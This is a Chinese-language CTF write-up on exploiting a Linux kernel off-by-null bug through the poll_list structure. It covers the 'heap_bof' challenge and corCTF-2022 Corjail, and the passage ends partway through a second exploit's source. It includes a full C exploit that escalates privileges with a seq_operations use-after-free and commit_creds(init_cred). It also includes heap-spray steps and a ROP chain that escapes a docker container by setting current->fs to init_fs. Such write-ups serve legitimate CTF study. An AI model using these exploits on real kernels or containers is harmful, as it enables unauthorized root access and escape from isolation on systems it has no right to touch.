前言
本文我们通过我们的老朋友heap_bof
来讲解Linux kernel
中off-by-null
的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape
来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root
权限后,docker
逃逸就变的相对简单了)。
off by null
我们还是使用上一篇的例题heap_bof
来讲解这种利用手法,现在我们假设这道题没有提供free
,并且只有单字节溢出,并且溢出的单字节只能是NULL
,那么我们应该怎麼去利用呢?
利用思路
boot.sh
#!/bin/bashqemu-system-x86_64 \-initrd rootfs.img \-kernel bzImage \-m 1G \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \-monitor /dev/null \-s \-cpu kvm64 \-smp cores=1,threads=2 \--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
poll_list
结构体对象是在调用 poll()
时分配,该调用可以监视 1
个或多个文件描述符的活动。
struct pollfd {int fd;short events;short revents;
};struct poll_list {struct poll_list *next; // 指向下一个poll_listint len; // 对应于条目数组中pollfd结构的数量struct pollfd entries[]; // 存储pollfd结构的数组
};
poll_list
结构如下图所示,前 30
个 poll_fd
在栈上,后面的都在堆上,最多 510
个 poll_fd
在一个堆上的 poll_list
上,堆上的 poll_list
最大为 0x1000
。
poll_list 分配/释放
do_sys_poll
函数完成 poll_list
的分配和释放。poll_list
的是超时自动释放的,我们可以指定 poll_list
的释放时间。
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))[...]static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,struct timespec64 *end_time)
{struct poll_wqueues table;int err = -EFAULT, fdcount, len;/* Allocate small arguments on the stack to save memory and befaster - use long to make sure the buffer is aligned properlyon 64 bit archs to avoid unaligned access *//** [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry*/long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; struct poll_list *const head = (struct poll_list *)stack_pps;struct poll_list *walk = head;unsigned long todo = nfds;if (nfds > rlimit(RLIMIT_NOFILE))return -EINVAL;/** [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间*/len = min_t(unsigned int, nfds, N_STACK_PPS);for (;;) {walk->next = NULL;walk->len = len;if (!len)break;if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))goto out_fds;todo -= walk->len;if (!todo)break;/** [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry, * 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry*/len = min(todo, POLLFD_PER_PAGE);/** [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k*/walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); if (!walk) {err = -ENOMEM;goto out_fds;}}poll_initwait(&table);/** [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。*/fdcount = do_poll(head, &table, end_time); poll_freewait(&table);if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)goto out_fds;for (walk = head; walk; walk = walk->next) {struct pollfd *fds = walk->entries;int j;for (j = walk->len; j; fds++, ufds++, j--)unsafe_put_user(fds->revents, &ufds->revents, Efault);}user_write_access_end();err = fdcount;
out_fds:walk = head->next;while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用struct poll_list *pos = walk;walk = walk->next;kfree(pos);}return err;Efault:user_write_access_end();err = -EFAULT;goto out_fds;
}
我们可以去找到一些结构体,其头 8
字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑利用堆喷去构造 UAF
了。
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详细流程
-
首先分配
kmalloc-4096
大小的结构题在ptr[0]
; -
然后构造这样的
poll_list
结构体。 -
利用
off-by-null
将poll_list->next
的最后一个字节改为空。然后大量分配kmalloc-32
的obj
内存,这里只所以是32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。运气好可以被我们篡改后的poll_list->next
指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。 -
等待
poll_list
线程执行完毕,并且我们分配的kmalloc-32
被错误释放,分配大量的seq_operations
,运气好可以正好被分配到我们释放的kmalloc-32
,形成UAF
,这样我们就可以利用UAF
修改seq_operations->start
指针指向提权代码。 -
提权可以参考上一篇文章,利用栈上的残留值来
bypass kaslr
。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000struct param {size_t len; // 内容长度char *buf; // 用户态缓冲区地址unsigned long idx; // 表示 ptr 数组的 索引
};size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_shell(void) {system("/bin/sh");
}void qword_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/*--------------------------------------------------------------------------------------------------*/struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;struct user_key_payload {struct rcu_head rcu; /* RCU destructor */unsigned short datalen; /* length of this data */char data[0] __aligned(__alignof__(u64)); /* actual data */
};int key_alloc(int id, void *payload, int payload_len) {char description[0x10] = {};sprintf(description, "pwn_%d", id);return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}int key_update(int id, void *payload, size_t plen) {return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}int key_read(int id, void *bufer, size_t buflen) {return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}int key_revoke(int id) {return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}int key_unlink(int id) {return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}/*--------------------------------------------------------------------------------------------------*/pthread_t tid[40];typedef struct {int nfds, timer;
} poll_args;struct poll_list {struct poll_list *next;int len;struct pollfd entries[];
};void* alloc_poll_list(void *args) {int nfds = ((poll_args *) args)->nfds;int timer = ((poll_args *) args)->timer;struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++) {pfds[i].fd = open("/etc/passwd", O_RDONLY);pfds[i].events = POLLERR;}poll(pfds, nfds, timer);
}void* create_poll_list(size_t size, int timer, int i) {poll_args *args = calloc(1, sizeof(poll_args));args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;args->timer = timer;pthread_create(&tid[i], NULL, alloc_poll_list, args);
}/*--------------------------------------------------------------------------------------------------*/struct list_head {struct list_head *next, *prev;
};
struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list;
};struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_bufer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);void (*release)(struct pipe_inode_info *, struct pipe_bufer *);int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};/*--------------------------------------------------------------------------------------------------*/void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;size_t kernel_offset;
void get_root() {__asm__("mov rax, [rsp + 8];""mov kernel_offset, rax;");kernel_offset -= 0xffffffff81229378;commit_creds = (void *) ((size_t) commit_creds + kernel_offset);init_cred = (void *) ((size_t) init_cred + kernel_offset);commit_creds(init_cred);__asm__("swapgs;""push user_ss;""push user_sp;""push user_rflags;""push user_cs;""push user_rip;""iretq;");
}/*--------------------------------------------------------------------------------------------------*/int main() {save_status();signal(SIGSEGV, (void *) get_shell);bof_fd = open("dev/bof", O_RDWR);int seq_fd[SEQ_NUM];printf("[*] try to alloc_kmalloc-4096\n");size_t* mem = malloc(0x1010);memset(mem, '\xff', 0x1010);struct param p = {0x1000, (char*)mem, 0};ioctl(bof_fd, BOF_MALLOC, &p);printf("[*] try to spary kmalloc-32\n");p.len = 0x20;for (int i = 1; i < 20; ++i){p.idx = i;memset(mem, i, 0x20);memset(mem, 0, 0x18);ioctl(bof_fd, BOF_MALLOC, &p);ioctl(bof_fd, BOF_EDIT, &p);}printf("[*] try to alloc_poll_list\n");for (int i = 0; i < 14; ++i){create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);}printf("[*] try to spary kmalloc-32\n");p.len = 0x20;for (int i = 20; i < 40; ++i){p.idx = i;memset(mem, i, 0x20);memset(mem, 0, 0x18);ioctl(bof_fd, BOF_MALLOC, &p);ioctl(bof_fd, BOF_EDIT, &p);}sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);p.len = 0x1001;p.idx = 0;memset(mem, '\x00', 0x1001);ioctl(bof_fd, BOF_EDIT, &p);void *res;for (int i = 0; i < 14; ++i){printf("[*] wating for poll end\n");pthread_join(tid[i], &res);}for (int i = 0; i < 256; ++i){seq_fd[i] = open("/proc/self/stat", O_RDONLY);}sleep(1);for (int i = 1; i < 40; ++i){p.idx = i;p.len = 0x20;ioctl(bof_fd, BOF_READ, &p);printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);mem[0] = (size_t*)get_root;mem[1] = (size_t*)get_root;mem[2] = (size_t*)get_root;mem[3] = (size_t*)get_root;ioctl(bof_fd, BOF_EDIT, &p);}for (int i = 1; i < 40; ++i){p.idx = i;p.len = 0x20;ioctl(bof_fd, BOF_READ, &p);printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);}for (int i = 0; i < 256; i++) {read(seq_fd[i], p.buf, 1);}return 0;
}
corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish
工具读取和修改 qcow2
文件。
run_challenge.sh
#!/bin/sh
qemu-system-x86_64 \-m 1G \-nographic \-no-reboot \-kernel bzImage \-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \-hda coros.qcow2 \-snapshot \-monitor /dev/null \-cpu qemu64,+smep,+smap,+rdrand \-smp cores=4 \--enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service
;
Description=Initialize challenge[Service]
Type=oneshot
ExecStart=/usr/local/bin/init[Install]
WantedBy=multi-user.target
查看 /usr/local/bin/init
脚本;
cat /usr/local/bin/init
#!/bin/bashUSER=userFLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')useradd --create-home --shell /bin/bash $USERecho "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrcchmod -r 0700 /home/$USERmv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG
password
❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看root
用户的/usr/local/bin/jail
;
><fs> cat /usr/local/bin/jail
#!/bin/bashecho -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'/usr/bin/docker run -it --user user \--hostname CoRJail \--security-opt seccomp=/etc/docker/corjail.json \-v /proc/cormon:/proc_rw/cormon:rw corcontainer/bin/bash/usr/sbin/poweroff -f
发现其启动root
的 shell
后是首先调用 docker
来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker
容器当中。
为了方便调试,我们可以使用edit
将其修改为:
><fs> edit /usr/local/bin/jail
><fs> cat /usr/local/bin/jail
#!/bin/bashecho -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'cp /exploit /home/user || echo "[!] exploit not found, skipping"chown -R user:user /home/userecho 0 > /proc/sys/kernel/kptr_restrict/usr/bin/docker run -it --user root \--hostname CoRJail \--security-opt seccomp=/etc/docker/corjail.json \# 允许容器能够调用与日志相关的系统调用--cap-add CAP_SYSLOG \# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。-v /proc/cormon:/proc_rw/cormon:rw \# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host-v /home/user/:/home/user/host \corcontainer/bin/bash/usr/sbin/poweroff -f
edit
的用法和 vim
一样。
后面我们上传 exp
的时候可以使用 upload
命令,其格式如下:
><fs> help upload
NAMEupload - upload a file from the local machineSYNOPSISupload filename remotefilenameDESCRIPTIONUpload local file filename to remotefilename on the filesystem.filename can also be a named pipe.See also "download".
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {/** Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()* macros to work correctly.*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \SYSCALL_METADATA(_##sname, 0); \static long __do_sys_##sname(const struct pt_regs *__unused); \__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@#include <linux/key.h>#include <linux/personality.h>#include <trace/syscall.h>
+#include <asm/syscall.h>#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER/*
@@ -202,8 +203,8 @@}#endif-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \SYSCALL_METADATA(_##sname, 0); \asmlinkage long sys_##sname(void); \ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
@@ -219,9 +220,41 @@#define SYSCALL_DEFINE_MAXARGS 6-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@return NULL;}-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr){if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@return syscalls_metadata[nr];}
+EXPORT_SYMBOL(syscall_nr_to_meta);const char *get_syscall_name(int syscall){
@@ -122,6 +123,7 @@return entry->name;}
+EXPORT_SYMBOL(get_syscall_name);static enum print_line_tprint_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count
变量用来记录系统调用的次数。
seccomp.json
保存了系统调用的白名单。
{"defaultAction": "SCMP_ACT_ERRNO","defaultErrnoRet": 1,"syscalls": [{"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],"action": "SCMP_ACT_ALLOW"},{"names": [ "clone" ],"action": "SCMP_ACT_ALLOW","args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]}]
}
根据README.md
提示,可以在proc_rw/cormon
看到使用到的系统调用在各个CPU
当中的情况。
root@CoRJail:/# cat /proc_rw/cormon CPU0 CPU1 CPU2 CPU3 Syscall (NR)9 16 25 18 sys_poll (7)0 0 0 0 sys_fork (57)66 64 79 60 sys_execve (59)0 0 0 0 sys_msgget (68)0 0 0 0 sys_msgsnd (69)0 0 0 0 sys_msgrcv (70)0 0 0 0 sys_ptrace (101)15 19 11 6 sys_setxattr (188)27 24 11 20 sys_keyctl (250)0 0 2 2 sys_unshare (272)0 1 0 0 sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon CPU0 CPU1 CPU2 CPU3 Syscall (NR)0 0 0 0 sys_msgsnd (69)0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write
存在明显的off-by-null
。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{loff_t offset = *ppos;char *syscalls;size_t len;if (offset < 0)return -EINVAL;if (offset >= PAGE_SIZE || !count)return 0;len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);if (!syscalls){printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");return -ENOMEM;}if (copy_from_user(syscalls, ubuf, len)){printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");return -EFAULT;}syscalls[len] = '\x00';if (update_filter(syscalls)){kfree(syscalls);return -EINVAL;}kfree(syscalls);return count;
}
利用思路
在 poll_list
利用方式中:
- 先通过
add_key()
堆喷大量32
字节大小的user_key_payload
。
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
- 然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
。 - 触发
off by null
,修改poll_list.next
的低字节为\x00
,这里可能导致其指向某个user_key_payload
。 - 然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
。
详细流程如下:
首先,我们要打开有漏洞的模块。
使用bind_core()
将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void bind_core(bool fixed, bool thread) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);if (thread) {pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);} else {sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);}
}
喷射大量 0x20
大小的 user_key_payload
和下图所示 0x1000 + 0x20
的 poll_list
。
此时内存中 object
的分布如下图所示,其中黄色的是 user_key_payload
,绿色的是 poll_list
,白色是空闲 object
。
通过 off by null
修改 0x1000 大小的 poll_list
,使得指向 0x20 大小 poll_list
的 next
指针指向 user_key_payload
。之后释放所有的 poll_list
结构,被 next
指向的的 user_key_payload
也被释放,形成 UAF 。
注意,为了确保释放 poll_list
不出错,要保证 0x20
大小的 poll_list
的 next
指针为 NULL 。也就是 user_key_payload
的前 8 字节为 NULL 。由于 user_key_payload
的前 8 字节没有初始化,因此可以在申请 user_key_payload
前先用 setxattr
把前 8 字节置为 NULL 。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,size_t size, int flags)
{int error;void *kvalue = NULL;char kname[XATTR_NAME_MAX + 1];[...]if (size) {[...]kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-xif (!kvalue)return -ENOMEM;// 修改kmalloc-x内容if (copy_from_user(kvalue, value, size)) {error = -EFAULT;goto out;}[...]}error = vfs_setxattr(d, kname, kvalue, size, flags);
out:kvfree(kvalue); // 释放kmalloc-xreturn error;
}
另外实测 kmalloc-32
的 freelist
偏移为 16 字节,不会覆盖 next
指针。
喷射 seq_operations
利用 seq_operations->next
的低二字节覆盖 user_key_payload->datalen
实现 user_key_payload
越界读, user_key_payload->data
前 8 字节被覆盖为 seq_operations->show
,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload
是否被 seq_operations
覆盖。
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};struct user_key_payload {struct rcu_head rcu; /* RCU destructor */unsigned short datalen; /* length of this data */char data[0] __aligned(__alignof__(u64)); /* actual data */
};struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload
并喷射 tty_file_private
填充产生的空闲 object
。之后再次越界读泄露 tty_file_private->tty
指向的 tty_struct
,我们定义这个地址为 target_object
。
释放 seq_operations
,喷射 0x20
大小的 poll_list
。现在UAF
的堆块被user_key_payload
和poll_list
占领。在 poll_list
被释放前,释放劫持的 user_key_payload
,利用 setxattr
修改 poll_list
的 next
指针指向 target_object - 0x18
,方便后续伪造pipe_buffer
。为了实现 setxattr
的喷射效果,setxattr
修改过的 object
通过申请 user_key_payload
劫持,确保下次 setxattr
修改的是另外的 object
。
打开
/dev/ptmx
时会分配tty_file_private
并且该结构体的tty
指针会指向tty_struct
。int tty_alloc_file(struct file *file) {struct tty_file_private *priv;priv = kmalloc(sizeof(*priv), GFP_KERNEL);if (!priv)return -ENOMEM;file->private_data = priv;return 0; } // kmalloc-32 | GFP_KERNEL struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list; };
趁 poll_list
还没有释放,释放 tty_struct
并申请 pipe_buffer
,将 target_object(tty_struct)
替换为 pipe_buffer
。
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};
之后 poll_list
释放导致 target_object - 0x18
区域释放。我们可以申请一个 0x400
大小的 user_key_payload
劫持 target_object - 0x18
,从而劫持 pipe_buffer->ops
实现控制流劫持。
docker逃逸
具体实现为修改 task_struct
的 fs
指向 init_fs
。用 find_task_by_vpid()
来定位Docker
容器任务,我们用switch_task_namespaces()
。但这还不足以从容器中逃逸。在Docker
容器中,setns()
被seccomp
默认屏蔽了,我们可以克隆 init_fs
结构,然后用find_task_by_vpid()
定位当前任务,用 gadget
手动安装新fs_struct
。
// commit_creds(&init_creds)*rop++ = pop_rdi_ret;*rop++ = init_cred;*rop++ = commit_creds;// current = find_task_by_vpid(getpid())*rop++ = pop_rdi_ret;*rop++ = getpid();*rop++ = find_task_by_vpid;// current->fs = &init_fs*rop++ = pop_rcx_ret;*rop++ = 0x6e0;*rop++ = add_rax_rcx_ret;*rop++ = pop_rbx_ret;*rop++ = init_fs;*rop++ = mov_mmrax_rbx_pop_rbx_ret;rop++;
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>#define PAGE_SIZE 0x1000int randint(int min, int max) {return min + (rand() % (max - min));
}void bind_core(bool fixed, bool thread) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);if (thread) {pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);} else {sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);}
